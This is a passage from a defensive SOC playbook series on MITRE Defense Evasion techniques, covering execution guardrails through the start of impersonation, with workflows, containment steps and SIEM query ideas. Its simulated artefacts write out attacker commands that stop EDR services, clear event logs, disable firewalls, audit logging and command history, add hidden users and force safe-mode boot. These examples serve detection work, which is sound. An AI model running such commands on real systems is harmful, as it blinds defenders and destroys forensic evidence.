Severity decision (SOC)

Medium

- Guardrails detected in malware that has not executed

High

- Guardrails actively preventing sandbox or lab analysis

Critical

- Guardrails enabling successful execution on production targets

Example severity: High

(Advanced evasion blocking detection)

Step-by-step SOC workflow

Step 1 Validate execution guardrails

Confirm:

1. Is malicious code present but selectively inactive?
2. Are environmental checks or mutexes present?
3. Does behaviour change across hosts or environments?
4. Is execution intentionally restricted, not failing?

Decision point

- Benign software self-checks → validate vendor logic
- Malicious guardrails → escalate immediately

Step 2 Identify guardrail type

Sub-technique	Indicator	Attacker value
Environmental keying	Host, domain, VM checks	Sandbox evasion
Mutual exclusion	Mutex, lock files	Stability, stealth
Hardware checks	CPU, RAM, disk size	Anti-analysis
User targeting	Specific usernames	Precision attacks

Step 3 Map behaviour to attacker intent

3A) Sandbox and Lab Evasion

Indicators

- No execution in analysis environments

Attacker intent

- Avoid reverse engineering and signatures

3B) Targeted Operations

Indicators

- Execution only on specific systems

Attacker intent

- Precision compromise

3C) Operational Safety

Indicators

- Single-instance enforcement

Attacker intent

- Prevent crashes and noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Payload detonation after conditions met
2. Command and Control
 - Delayed or conditional beaoning
3. Persistence
 - Guardrails combined with autoruns
4. Privilege Escalation
 - Execution only when elevated

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate systems where conditions are met
2. Block execution of guarded binaries across the estate
3. Replicate environment conditions in analysis lab

If guardrails confirmed

1. Preserve binaries and memory for reverse engineering
2. Document all execution conditions discovered
3. Notify SOC leadership and threat intel teams
4. Assume advanced, evasive malware

Eradication and recovery

- Remove guarded malware from all systems
- Reimage affected hosts if execution occurred
- Update detection logic to ignore guardrails
- Deploy environment-agnostic indicators (hash, strings, C2)
- Review detection gaps exposed by sandbox evasion

Detection engineering (SIEM ideas)

A) Mutex creation by unknown binaries

```
index=edr  
| where action="create_mutex"  
| where process_reputation!="known"
```

B) Conditional execution logic

```
index=edr  
| where process_exit_code=0  
| where execution_time < threshold
```

C) Behavioural divergence detection

```
index=edr  
| stats count by hash, host  
| where count differs significantly
```

Analyst checklist

- Execution guardrails confirmed
- Guardrail type identified
- Conditions documented
- Detection logic updated
- Incident severity reassessed

Post-incident improvements

- Treat non-executing malware as suspicious, not benign

- Expand sandbox environment diversity
- Monitor mutex and environment checks
- Correlate file presence → conditional execution → delayed behaviour
- Feed guardrail logic into threat intelligence

Playbook 97 (MITRE Defense Evasion): Exploitation for Defense Evasion

Technique: Exploitation for Defense Evasion

Purpose

Detect, investigate and respond to attacker exploitation of vulnerabilities specifically to evade security controls, enabling attackers to:

- Disable, blind or bypass EDR/AV/SIEM telemetry
- Operate at kernel or trusted-process levels to avoid detection
- Circumvent logging, monitoring and access controls
- Maintain stealth during post-exploitation and lateral movement
- Prepare the environment for high-impact actions (credential access, ransomware)

This technique is not about gaining initial access or privilege alone it is about breaking the defender's visibility and control plane.

When to trigger this playbook

Trigger this playbook when indicators suggest exploitation used to suppress or evade defenses, including:

- Sudden loss or degradation of EDR/AV telemetry
- Security services crashing or being force-disabled without policy changes
- Kernel/driver faults preceding suspicious activity
- Exploits targeting security agents, management consoles or logging subsystems
- Successful actions occurring that should have been blocked or alerted
- Known CVEs against security products exploited in the environment

Example use case scenario (end-to-end)

Context: SOC notices endpoint telemetry dropping from multiple hosts within minutes. No admin policy changes are recorded. EDR logs show a kernel exploit targeting the EDR driver, followed by credential dumping and lateral movement with no alerts.

Attacker objective: Exploit a vulnerability to neutralise defenses, then operate freely.

Defender objective: Identify the exploit, restore visibility and contain hosts before impact.

What it looks like (simulated SOC artefacts)

A) Security Agent Crash After Exploit

process=edr_agent.exe
event=Crash
reason=DriverFault
preceded_by=exploit_trigger.exe

B) Kernel Exploit Targeting Security Driver

process=exploit.exe
target_driver=edrdrv.sys
result=AccessGranted

C) Logging Disabled Without Policy Change

service=Windows Event Log
state=Stopped
initiator=unknown

D) AV/EDR Tamper Protection Bypassed

tamper_protection=Enabled
action=DisableEDR
result=Success
method=Exploit

E) Silent Follow-On Activity

action=LSASS_Access
alert=none

F) Known CVE Exploited Against Security Tool

CVE=CVE-2024-XXXX
product=EndpointSecurityAgent
exploit_status=Successful

Severity decision (SOC)

Low

- Exploit attempt failed
- No loss of visibility or control

Medium

- Partial degradation of defenses
- Limited host scope

High / Critical

- Security tooling bypassed or disabled
- Exploit enables stealthy follow-on actions
- Widespread telemetry loss

Example severity: Critical

(EDR kernel exploit + telemetry blind + credential access)

Step-by-step SOC workflow

Step 1 Validate exploitation for evasion

Confirm:

1. Was a vulnerability exploited (not misconfiguration)?
2. Which security control was targeted (EDR, AV, logging, IAM)?
3. Did exploitation reduce or eliminate visibility/prevention?
4. Is there a known CVE or exploit chain involved?

Decision point

- Benign crash or maintenance → document and monitor
- Exploitation confirmed → continue investigation immediately

Step 2 Identify evasion exploit vector and scope

Exploit target	Evidence	Attacker value
EDR/AV driver	Kernel faults	Total endpoint stealth
Logging service	Service stopped	Anti-forensics
Security agent	Crash/bypass	Unmonitored activity
Management console	API abuse	Centralised control loss
Kernel subsystem	Privileged exploit	Tool-wide evasion

Step 3 Map behaviour to attacker intent

3A) Visibility Suppression

Indicators

- Missing logs

- Telemetry gaps

Attacker intent

- Operate without detection

3B) Protection Neutralisation

Indicators

- Security agents disabled or bypassed

Attacker intent

- Remove preventative controls

3C) Preparation for Impact

Indicators

- Exploit followed by credential access or lateral movement

Attacker intent

- Enable high-impact actions safely

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychains, secrets
2. Lateral Movement
 - SMB, RDP, WinRM without alerts
3. Persistence
 - Services, tasks added while defenses down
4. Impact
 - Ransomware, data exfiltration, sabotage

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected hosts from the network
2. Stop exploit and malicious processes
3. Restore security tooling where possible

If exploitation confirmed

1. Assume host integrity is compromised
2. Disable affected security agents centrally (to prevent false trust)
3. Preserve memory and disk artefacts
4. Notify IR, SOC leadership and vendors

Eradication and recovery

- Patch exploited vulnerabilities immediately
- Reinstall or redeploy compromised security agents
- Reimage hosts if kernel-level compromise occurred
- Restore logging and monitoring end-to-end
- Validate detection and prevention coverage post-recovery

Detection engineering (SIEM ideas)

A) Security agent crash correlation

```
index=edr  
| where event="Crash"  
| where process IN ("edr_agent.exe", "av_agent.exe")
```

B) Telemetry drop detection

```
index=soc_health  
| where host_telemetry="Missing"
```

C) Exploit followed by silent privileged actions

```
index=edr  
| transaction host maxspan=10m  
| where action="Exploit"  
| where later(action IN ("LSASS_Access", "CredentialDump"))
```

D) Known CVE exploitation

```
index=threat
```

| where technique="Exploit"
| where target_product="SecurityAgent"

Analyst checklist

- Exploitation confirmed
- Targeted security control identified
- Visibility restored
- Hosts isolated and rebuilt if needed
- Detections improved

Post-incident improvements

- Treat defense-evasion exploits as Tier-0 incidents
- Patch security tooling as aggressively as OS and apps
- Monitor for sudden telemetry loss as a primary alert
- Test security agent tamper resistance regularly
- Include “blind-the-SOC” scenarios in SOC exercises

Playbook 98 (MITRE Defense Evasion): File and Directory Permissions Modification

Technique: File and Directory Permissions Modification

Sub-techniques:

- Windows File and Directory Permissions Modification
- Linux and Mac File and Directory Permissions Modification

Purpose

Detect, investigate and respond to adversaries evading defenses by modifying file or directory permissions, enabling attackers to:

- Hide malicious files from security tools and users
- Prevent deletion or modification of malware
- Enable execution of payloads in normally restricted locations
- Block logging, backups or security tooling access
- Maintain stealthy persistence by controlling filesystem access

File and Directory Permissions Modification is defense evasion through access control abuse attackers don't delete defenses they lock them out.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious permission changes, including:

- Security tools failing to read, scan or delete files
- Malware residing in directories with unusual ACLs or modes
- Permission changes affecting system, log or security directories
- Files becoming executable or writable unexpectedly
- Permission changes immediately preceding or following malicious activity

Example use case scenario (end-to-end)

Context: EDR detects malware on a Linux server but cannot quarantine or delete the file. Filesystem review shows the malware directory permissions were changed to prevent access by security agents.

Attacker objective: Evade detection and removal by manipulating filesystem permissions.

Defender objective: Restore correct permissions and regain security tool visibility.

What it looks like (simulated SOC artefacts)

A) Windows ACL Modification

Path=C:\ProgramData\syscache\
Change=Deny Read, Write
AppliedTo=Everyone
ModifiedBy=SYSTEM

B) Hidden Malware Directory

Path=C:\Windows\Temp\.cache\
Permissions=Owner: SYSTEM
Access=Restricted

C) Linux Permission Hardening for Malware

Path=/var/tmp/.x/
chmod 700 /var/tmp/.x
chown root:root /var/tmp/.x

D) Log File Access Blocked

Path=/var/log/auth.log
Permissions=000
Result=Logging Failure

E) macOS Extended Attributes

File=/Library/LaunchDaemons/com.apple.update.plist
Owner=root
Mode=600

F) Follow-on Activity

NextAction=Persistence

Severity decision (SOC)

Medium

- Permission changes detected but no confirmed malware

High

- Permission changes protecting malicious files

Critical

- Permission changes disabling security tools, logging or backups

Example severity: High

(Active defense evasion)

Step-by-step SOC workflow

Step 1 Validate permission-based evasion

Confirm:

1. Were file or directory permissions modified?
2. Is the change unauthorised or unexpected?
3. Does it restrict security tooling or users?
4. Is it associated with malicious files or activity?

Decision point

- Legitimate admin hardening → validate change control
- Malicious permission abuse → escalate immediately

Step 2 Identify platform and scope

Platform	Indicator	Attacker value
Windows ACLs	Deny ACEs, ownership change	AV/EDR blocking
Linux permissions	chmod/chown abuse	Root-level stealth
macOS permissions	Restricted launch files	Persistence protection
Log directories	Access removed	Forensic evasion

Step 3 Map behaviour to attacker intent

3A) Security Tool Evasion

Indicators

- EDR or AV unable to access files

Attacker intent

- Prevent detection and cleanup

3B) Persistence Protection

Indicators

- Malware directories locked down

Attacker intent

- Ensure long-term survival

3C) Forensic Suppression

Indicators

- Log or backup access blocked

Attacker intent

- Obscure activity trail

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, services, cron jobs
2. Privilege Escalation
 - Permission changes enabling execution
3. Defense Evasion
 - Further tampering with security files
4. Impact
 - Data destruction or ransomware staging

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected systems
2. Restore secure permissions on impacted files
3. Re-enable security tool access

If permission abuse confirmed

1. Preserve filesystem metadata and audit logs
2. Identify how attacker gained permission modification rights
3. Notify SOC leadership and platform owners
4. Assume active defense evasion

Eradication and recovery

- Reset permissions to known-good baselines
- Remove protected malicious files
- Re-enable logging and backups
- Rotate credentials if root/admin abuse occurred
- Reimage systems if integrity is uncertain

Detection engineering (SIEM ideas)

A) Windows ACL changes

```
index=windows  
| where event_type="acl_modified"  
| where target_path IN ("C:\\ProgramData","C:\\Windows","C:\\Users")
```

B) Linux/macOS permission changes

```
index=linux OR index=macos  
| where process IN ("chmod","chown","setfacl")
```

C) Security tool access failures

```
index=edr  
| where action="access_denied"
```

Analyst checklist

- Permission modification confirmed
- Malicious files identified
- Permissions restored
- Security tools revalidated
- Incident severity updated

Post-incident improvements

- Treat permission changes as defense-evasion signals
- Monitor ACL and mode changes on sensitive paths
- Enforce least privilege for filesystem modification

- Baseline permissions for system and security directories
- Correlate permission change → security failure → attacker activity

Playbook 99 (MITRE Defense Evasion): Hide Artifacts

Technique: Hide Artifacts

Sub-techniques covered:

- Hidden Files and Directories
- Hidden Users
- Hidden Window
- NTFS File Attributes
- Hidden File System
- Run Virtual Instance
- VBA Stomping
- Email Hiding Rules
- Resource Forking
- Process Argument Spoofing
- Ignore Process Interrupts
- File/Path Exclusions
- Bind Mounts
- Extended Attributes

Purpose

Detect, investigate and respond to attacker attempts to conceal malicious artefacts, enabling attackers to:

- Operate without drawing user or analyst attention
- Evade file, process and mailbox-based detection
- Persist while appearing clean during triage
- Bypass backups, AV and EDR visibility
- Delay discovery until impact is achieved

Hiding artefacts is foundational defense evasion the attack is present, but you can't see it unless you look the right way.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional concealment, including:

- "Nothing found" despite strong compromise indicators
- Files or users missing from standard listings
- Processes behaving oddly with benign names/arguments
- Email incidents without visible messages
- AV exclusions added without approval
- Filesystem anomalies (mounts, forks, attributes)

- Macros executing but source code appears empty

Example use case scenario (end-to-end)

Context: SOC investigates suspicious outbound traffic from a workstation. No malware files are visible. No inbox phishing emails are found. Deep inspection reveals:

- A hidden directory under a user profile
- A VBA-stomped document delivering payloads
- Email rules hiding phishing emails
- Process argument spoofing masking C2 execution

Attacker objective: Remain invisible during investigation while maintaining control.

Defender objective: Uncover concealed artefacts, remove evasion layers and restore visibility.

What it looks like (simulated SOC artefacts)

A) Hidden Files and Directories

```
attrib +h +s C:\Users\Public\.cache  
ls -la | grep "^d..... \."
```

B) Hidden Users

```
net user backup$ /add  
/etc/passwd entry with UID < 1000
```

C) Hidden Window

```
powershell.exe -WindowStyle Hidden
```

D) NTFS File Attributes

Attributes: Hidden, System

E) Hidden File System

Mounted volume not listed in Explorer

F) Run Virtual Instance

Process runs only inside VM/container

G) VBA Stomping

Macro executes

VBA source code = empty

H) Email Hiding Rules

Rule: If subject contains "Invoice" -> Move to RSS Feeds

I) Resource Forking (macOS)

file.txt:evilpayload

J) Process Argument Spoofing

Process: svchost.exe

Arguments: legitimate-looking, behaviour malicious

K) Ignore Process Interrupts

SIGINT ignored

Process survives Ctrl+C / service stop

L) File / Path Exclusions

AV Exclusion: C:\ProgramData\Updater\

M) Bind Mounts (Linux)

mount --bind /tmp/.x /usr/bin

N) Extended Attributes

xattr -w com.apple.quarantine "0000" payload

Severity decision (SOC)

Low

- Hiding behaviour used by legitimate software
- No malicious follow-on actions

Medium

- Concealment plus suspicious indicators

- Limited scope

High / Critical

- Multiple hiding techniques combined
- Concealment protecting active malware, C2 or persistence

Example severity: High

(Hidden files + VBA stomping + email hiding rules)

Step-by-step SOC workflow

Step 1 Validate concealment indicators

Confirm:

1. What artefacts are hidden (files, users, processes, emails)?
2. Which hiding techniques are used?
3. Are artefacts expected or approved?
4. Is concealment protecting malicious behaviour?

Decision point

- Legitimate concealment → document and monitor
- Malicious hiding → continue investigation immediately

Step 2 Identify hiding method and scope

Hiding method	Evidence	Attacker value
Hidden files/dirs	Attributes, dot-files	Avoid discovery
Hidden users	Non-listed accounts	Stealth access
VBA stomping	Empty macro source	Analysis evasion
Email rules	Messages not visible	Phishing stealth
AV exclusions	Excluded paths	Detection bypass
Mount tricks	Bind mounts/forks	Filesystem stealth

Step 3 Map behaviour to attacker intent

3A) Analyst and User Deception

Indicators

- “Nothing found” during triage

Attacker intent

- Delay detection and response

3B) Defense Evasion

Indicators

- AV exclusions, hidden execution

Attacker intent

- Bypass security tooling

3C) Persistence Protection

Indicators

- Hidden artefacts survive cleanup

Attacker intent

- Maintain long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Hidden scripts/binaries executing
2. Persistence
 - Hidden users, startup items
3. Credential Access
 - Tools concealed in hidden paths
4. Impact
 - Ransomware or data theft protected by hiding

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Reveal and inventory hidden artefacts
2. Disable email rules and AV exclusions
3. Isolate host if active malware found

If abuse confirmed

1. Remove hidden users and files
2. Restore default visibility and permissions
3. Preserve artefacts for forensics
4. Reset credentials and review mailbox access

Eradication and recovery

- Clean hidden files, mounts, forks, attributes
- Rebuild systems if concealment scope is wide
- Reset mailbox rules tenant-wide if abused
- Restore AV/EDR configurations
- Validate no hidden artefacts remain

Detection engineering (SIEM ideas)

A) Hidden file or attribute changes

```
index=edr  
| where file_attribute IN ("Hidden","System")
```

B) VBA stomping detection

```
index=o365  
| where macro_exec=true  
| where macro_source_length=0
```

C) Email hiding rules

```
index=o365  
| where action="CreateInboxRule"  
| where destination_folder NOT IN ("Inbox","Archive")
```

D) AV exclusion creation

```
index=windows  
| where action="AddExclusion"
```

E) Bind mount detection

```
index=linux  
| where command="mount"  
| where args LIKE "%--bind%"
```

Analyst checklist

- Hidden artefacts identified
- Visibility restored
- Persistence assessed
- Credentials secured
- Monitoring enhanced

Post-incident improvements

- Treat hiding techniques as Tier-0 evasion signals
- Enforce audits for AV exclusions and mailbox rules
- Baseline filesystem visibility
- Train analysts to look beyond default views
- Include “nothing found” scenarios in SOC exercises

Playbook 100 (MITRE Defense Evasion): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries evading defenses by manipulating how trusted software loads or executes code, enabling attackers to:

- Execute malicious code without creating new suspicious processes
- Hide payloads inside legitimate binaries and services
- Bypass application allow-listing and reputation-based detection
- Blend malicious execution into normal OS and application behaviour
- Persist and operate stealthily under trusted process names

In Defense Evasion, Hijack Execution Flow is about staying invisible, not just gaining privileges. The attacker lets trusted software execute malicious code on their behalf, reducing alerts and suspicion.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or abnormal code loading by legitimate processes, including:

- Trusted binaries loading libraries from non-standard locations
- Services executing from user-writable or temporary directories
- Security tools observing “legitimate” processes performing malicious actions
- Repeated execution of malware under different trusted process names
- No obvious malware process despite clear malicious behaviour

Example use case scenario (end-to-end)

Context: SOC detects outbound C2 traffic originating from svchost.exe. No malware binary is observed executing. Investigation shows a malicious DLL placed earlier in the DLL search order, loaded automatically by the service.

Attacker objective: Evade EDR and allow-listing by executing under trusted process context.

Defender objective: Restore execution integrity and prevent trusted process abuse.

What it looks like (simulated SOC artefacts)

A) DLL Search Order Hijacking

Process=svchost.exe
LoadedDLL=C:\ProgramData\version.dll
Expected=C:\Windows\System32\version.dll

B) PATH Interception

PATH=C:\Users\Public\bin;C:\Windows\System32
Executed=ping.exe
ActualBinary=C:\Users\Public\bin\ping.exe

C) Unquoted Service Path

Service=UpdaterService
ImagePath=C:\Program Files\Updater Service\service.exe
ExecutedBinary=C:\Program.exe

D) COR_PROFILER Abuse

COR_ENABLE_PROFILING=1
COR_PROFILER={CLSID}
ProfilerDLL=C:\Temp\profiler.dll

E) KernelCallbackTable Hijack

Target=winlogon.exe
Callback=InjectedShellcode

F) AppDomainManager Injection

Registry=HKLM\Software\Microsoft\NETFramework
AppDomainManagerAssembly=Malicious.Assembly

G) Evasion Outcome

ObservedProcess=svchost.exe
ActualExecution=Malware

Severity decision (SOC)

High

- Execution flow hijacking detected but blocked

Critical

- Malware executing under trusted process names
- Hijacking used to bypass allow-listing, EDR or AV

Example severity: Critical

(Trusted process abuse for stealth execution)

Step-by-step SOC workflow

Step 1 Validate execution-flow-based evasion

Confirm:

1. Is a trusted process executing unexpected behaviour?
2. Is malicious code loaded indirectly, not executed directly?
3. Are search paths, registry keys or permissions abused?
4. Is this behaviour designed to avoid detection, not just escalate privilege?

Decision point

- Legitimate software/plugin behaviour → validate vendor documentation
- Malicious hijack → escalate immediately

Step 2 Identify hijack method

Sub-technique	Indicator	Evasion value
DLL / Dylib hijacking	Wrong load path	Blend into legit process
Search order hijack	Early directory abuse	Silent execution
PATH interception	Binary shadowing	Allow-list bypass

Unquoted paths	Installer abuse	No new process
COR_PROFILER / AppDomain	.NET hijack	Stealth injection
KernelCallbackTable	Logon abuse	Deep invisibility

Step 3 Map behaviour to attacker intent

3A) Allow-listing Evasion

Indicators

- Only trusted binaries observed

Attacker intent

- Bypass application control

3B) EDR / AV Blind Spot Creation

Indicators

- Malware activity attributed to system binaries

Attacker intent

- Reduce alert fidelity

3C) Long-Term Stealth

Indicators

- Hijack survives reboots and updates

Attacker intent

- Persistent, low-noise operation

Step 4 Hunt for follow-on actions

Immediately pivot to:

- 1. Command and Control**
 - Beacons from trusted processes
- 2. Credential Access**
 - LSASS access via injected context

3. Persistence

- Registry, services, autoruns tied to hijack

4. Impact

- Data exfiltration or ransomware execution

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Terminate affected trusted processes
2. Remove malicious libraries or binaries
3. Isolate affected systems

If hijack confirmed

1. Preserve binaries, registry keys and filesystem metadata
2. Identify writable paths and misconfigurations abused
3. Notify SOC leadership and OS/platform teams
4. Assume active defense evasion

Eradication and recovery

- Restore legitimate binaries and libraries
- Fix file, directory and service permissions
- Quote all service paths
- Remove unsafe environment variables
- Reimage systems if execution integrity is uncertain

Detection engineering (SIEM ideas)

A) Trusted process loading from unusual paths

```
index=edr
| where process_name IN ("svchost.exe","services.exe","winlogon.exe")
| where module_path NOT LIKE "C:\\Windows\\System32%"
```

B) PATH or service path anomalies

```
index=windows
| where event_type IN ("env_var_modified","service_modified")
```

C) .NET execution hijack

index=windows

| where env_var IN ("COR_ENABLE_PROFILING","COR_PROFILER")

Analyst checklist

- Execution flow hijack confirmed
- Hijack vector identified
- Malicious artefacts removed
- Permissions and paths hardened
- Incident severity updated

Post-incident improvements

- Treat execution flow integrity as a defense boundary
- Monitor library load paths for trusted processes
- Enforce strict permissions on executable directories
- Baseline normal DLL and module loading behaviour
- Correlate trusted process → abnormal load → malicious activity

Playbook 101 (MITRE Defense Evasion): Impair Defenses

Technique: Impair Defenses

Sub-techniques covered:

- Disable or Modify Tools
- Disable Windows Event Logging
- Impair Command History Logging
- Disable or Modify System Firewall
- Indicator Blocking
- Disable or Modify Cloud Firewall
- Disable or Modify Cloud Logs
- Safe Mode Boot
- Downgrade Attack
- Spoof Security Alerting
- Disable or Modify Linux Audit System
- Disable or Modify Network Device Firewall

Purpose

Detect, investigate and respond to deliberate actions that weaken or disable security controls, enabling attackers to:

- Operate without detection or prevention
- Remove evidence of malicious activity
- Bypass host, network and cloud protections
- Create blind spots across SOC visibility layers
- Prepare for credential theft, lateral movement or ransomware

Impairing defenses is a turning point in an intrusion: once controls are weakened, everything else becomes easier.

When to trigger this playbook

Trigger this playbook when indicators suggest security controls are being altered outside governance, including:

- EDR/AV services stopped, disabled or downgraded
- Logging suddenly reduced or missing
- Firewall rules removed or overly permissive
- Cloud security controls changed without approval
- Alerts suppressed or spoofed
- Hosts rebooted into Safe Mode unexpectedly

- Network segmentation controls weakened

Example use case scenario (end-to-end)

Context: SOC observes a sharp drop in endpoint logs and firewall events. Multiple servers reboot into Safe Mode with Networking. Shortly after, lateral movement and credential dumping occur with no alerts.

Attacker objective: Create a defenseless environment before executing high-impact actions.

Defender objective: Identify impaired controls, restore protections and contain the intrusion before impact.

What it looks like (simulated SOC artefacts)

A) Disable or Modify Tools

```
sc stop EDRService  
sc config EDRService start=disabled
```

B) Disable Windows Event Logging

```
wevtutil cl Security  
net stop eventlog
```

C) Impair Command History Logging

```
set HISTFILE=/dev/null  
Set-PSReadLineOption -HistorySaveStyle SaveNothing
```

D) Disable or Modify System Firewall

```
netsh advfirewall set allprofiles state off
```

E) Indicator Blocking

```
Added exclusion: hash=abcd1234  
Added exclusion: IP=185.220.xxx.xxx
```

F) Disable or Modify Cloud Firewall

```
SecurityGroupRule removed: DenyAllInbound  
ModifiedBy=cloud-admin01
```

G) Disable or Modify Cloud Logs

CloudTrail logging=Disabled
Activity Logs retention=0 days

H) Safe Mode Boot

bcdedit /set {default} safeboot network

I) Downgrade Attack

TLSVersion forced to TLS1.0
EDRAgent downgraded to v4.2

J) Spoof Security Alerting

Fake alert sent: "Threat blocked successfully"
Source=attacker-controlled SMTP

K) Disable or Modify Linux Audit System

systemctl stop auditd
auditctl -e 0

L) Disable or Modify Network Device Firewall

FirewallPolicy=Disabled
Device=EdgeFW01
User=netadmin-temp

Severity decision (SOC)

Low

- Changes approved and documented
- Maintenance window confirmed

Medium

- Undocumented changes
- Limited scope, no follow-on activity

High / Critical

- Multiple controls impaired
- Follow-on malicious activity observed
- SOC visibility degraded

Example severity: Critical

(EDR disabled + logging stopped + firewall off)

Step-by-step SOC workflow

Step 1 Validate impairment legitimacy

Confirm:

1. Which control was impaired (host, network, cloud)?
2. Who made the change, from where and when?
3. Is the change approved and reversible?
4. Did impairment precede suspicious activity?

Decision point

- Legitimate change → document and monitor
- Unauthorised impairment → continue investigation immediately

Step 2 Identify impairment type and scope

Impairment	Evidence	Attacker value
Tool disablement	Service stopped	Endpoint blind
Logging disabled	Missing events	Anti-forensics
Firewall off	Open ingress/egress	Lateral movement
Cloud controls weakened	SG/NSG changes	Wide exposure
Safe Mode boot	Reduced protection	Tool bypass
Downgrade	Legacy protocols	Exploit enablement

Step 3 Map behaviour to attacker intent

3A) Visibility Suppression

Indicators

- Telemetry gaps, empty logs

Attacker intent

- Hide actions from SOC

3B) Protection Removal

Indicators

- AV/EDR/firewall disabled

Attacker intent

- Execute tools freely

3C) Impact Preparation

Indicators

- Impairment followed by lateral movement

Attacker intent

- Stage ransomware or data theft

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, cloud tokens
2. Lateral Movement
 - SMB, RDP, SSH without alerts
3. Persistence
 - Services, tasks added while defenses down
4. Impact
 - Ransomware, data exfiltration

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Restore impaired controls immediately
2. Isolate affected hosts and segments
3. Block suspicious accounts and sessions

If compromise confirmed

1. Assume activities occurred during blind period
2. Rotate credentials used during impairment
3. Preserve configurations and logs
4. Notify IR, SOC leadership and cloud/network teams

Eradication and recovery

- Re-enable and harden all security controls
- Patch systems and upgrade downgraded components
- Restore logging and validate telemetry end-to-end
- Rebuild hosts where Safe Mode abuse occurred
- Monitor aggressively for re-impairment attempts

Detection engineering (SIEM ideas)

A) Security service stopped

```
index=windows  
| where event_id=7036  
| where service_name IN ("EDR","AV","Firewall")
```

B) Logging disabled

```
index=windows  
| where process IN ("wevtutil","auditctl")
```

C) Firewall state changes

```
index=network  
| where action="FirewallDisabled"
```

D) Cloud control modifications

```
index=cloud  
| where action IN ("DeleteSecurityGroupRule","DisableLogging")
```

E) Safe Mode boot detection

```
index=windows  
| where registry_key LIKE "%SafeBoot%"
```

Analyst checklist

- Impaired controls identified
- Scope of blind period assessed
- Protections restored
- Follow-on activity investigated
- Monitoring reinforced

Post-incident improvements

- Treat defense impairment as Tier-0 SOC emergencies
- Enforce multi-approval for disabling security controls
- Alert on telemetry drop, not just events
- Regularly test Safe Mode and downgrade abuse scenarios
- Include “blind SOC” simulations in exercises

Playbook 102 (MITRE Defense Evasion): Impersonation

Technique: Impersonation

Purpose

Detect, investigate and respond to adversaries evading defenses by impersonating legitimate users, services, processes or identities, enabling attackers to:

- Blend malicious actions into normal user or system behaviour
- Bypass security controls that trust specific identities
- Reduce alerting by operating under legitimate accounts
- Abuse trust relationships within identity, access and logging systems
- Perform actions that appear authorised and expected

Impersonation is defense evasion through identity misuse attackers don't break controls they become someone those controls already trust.

When to trigger this playbook

Trigger this playbook when indicators suggest actions performed under a legitimate identity that do not align with normal behaviour, including:

- System or admin actions executed by unexpected users
- Service accounts performing interactive or high-risk actions
- Privileged actions without corresponding authentication events
- Multiple systems showing "legitimate" activity with malicious outcomes
- Security alerts attributed to trusted users or system processes

Example use case scenario (end-to-end)

Context: SIEM detects mass file access and outbound data transfers attributed to a valid domain admin account. No suspicious login locations or MFA failures are observed. Investigation reveals malware impersonated the admin's access token locally.

Attacker objective: Evade detection by performing malicious actions as a trusted identity.

Defender objective: Detect identity misuse and differentiate real user activity from impersonation.

What it looks like (simulated SOC artefacts)

A) Impersonated User Context

Process=svchost.exe

User=DOMAIN\AdminUser

LogonType=Impersonation

B) No Corresponding Login

User=DOMAIN\AdminUser

AuthenticationEvent=None

Action=Privilege Use

C) Service Account Abuse

Account=svc_backup

Action=Interactive PowerShell

Expected=Non-Interactive

D) Token Usage

AccessToken=Duplicated

OriginalProcess=lsass.exe

E) Blended Activity

User=FinanceUser

Activity=Bulk File Copy + External Transfer

HistoricalBaseline=Low

F) Evasion Outcome

AlertConfidence=Low

Reason=Trusted Identity

Severity decision (SOC)

Medium

- Impersonation suspected but limited scope

High

- Impersonation used to perform unauthorised actions

Critical

- Impersonation of privileged or service accounts enabling major impact

Example severity: High

(Defense evasion via trusted identity misuse)

Step-by-step SOC workflow

Step 1 Validate impersonation behaviour

Confirm:

1. Is the identity legitimate but behaviour abnormal?
2. Is there missing or inconsistent authentication evidence?
3. Is the identity being used outside its normal role or pattern?
4. Does the activity enable other malicious objectives?

Decision point

- Legitimate admin activity → verify change records
- Identity misuse → escalate immediately

Step 2 Identify impersonation target

Target	Indicator	Attacker value
User account	Abnormal behaviour	Trust abuse
Admin account	Privileged actions	Broad access
Service account	Interactive use	Stealth
System account	High trust	Minimal alerts

Step 3 Map behaviour to attacker intent

3A) Trust Exploitation

Indicators

- Security tools trusting identity context

Attacker intent

- Avoid detection and blocking

3B) Access Expansion

Indicators

- Actions exceeding normal permissions

Attacker intent

- Lateral movement or data access

3C) Operational Stealth

Indicators

- Logs show “normal” users

Attacker intent

- Blend into background activity

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Token theft, LSASS access
2. Lateral Movement
 - Access as impersonated user
3. Collection / Exfiltration
 - Data accessed under trusted context
4. Persistence
 - Maintaining impersonation capability

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected hosts
2. Disable or restrict impersonated accounts temporarily
3. Revoke active sessions and tokens

If impersonation confirmed

1. Preserve memory and authentication artefacts
2. Identify impersonation mechanism (token, API, OS feature)
3. Notify SOC leadership and identity teams
4. Assume credential or token compromise risk

Eradication and recovery

- Remove malware or tools enabling impersonation
- Reset passwords and rotate keys for affected accounts
- Re-issue service account credentials
- Enforce least-privilege and separation of duties
- Reimage systems if token theft occurred

Detection engineering (SIEM ideas)

A) Privileged actions without login

index=windows

